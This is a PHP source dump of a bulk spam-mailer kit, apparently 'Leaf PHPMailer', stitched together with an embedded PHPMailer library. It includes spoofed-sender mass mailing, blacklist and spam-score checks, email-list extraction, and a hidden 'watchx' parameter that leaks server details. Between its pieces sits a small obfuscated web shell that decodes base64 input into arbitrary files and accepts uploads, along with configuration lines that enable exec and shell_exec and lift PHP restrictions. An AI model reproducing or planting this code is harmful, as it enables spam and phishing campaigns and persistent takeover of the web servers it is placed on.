        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'b'.'as'.'e64'.'_d'.'ec'.'ode'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "782EB5e1dq9";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
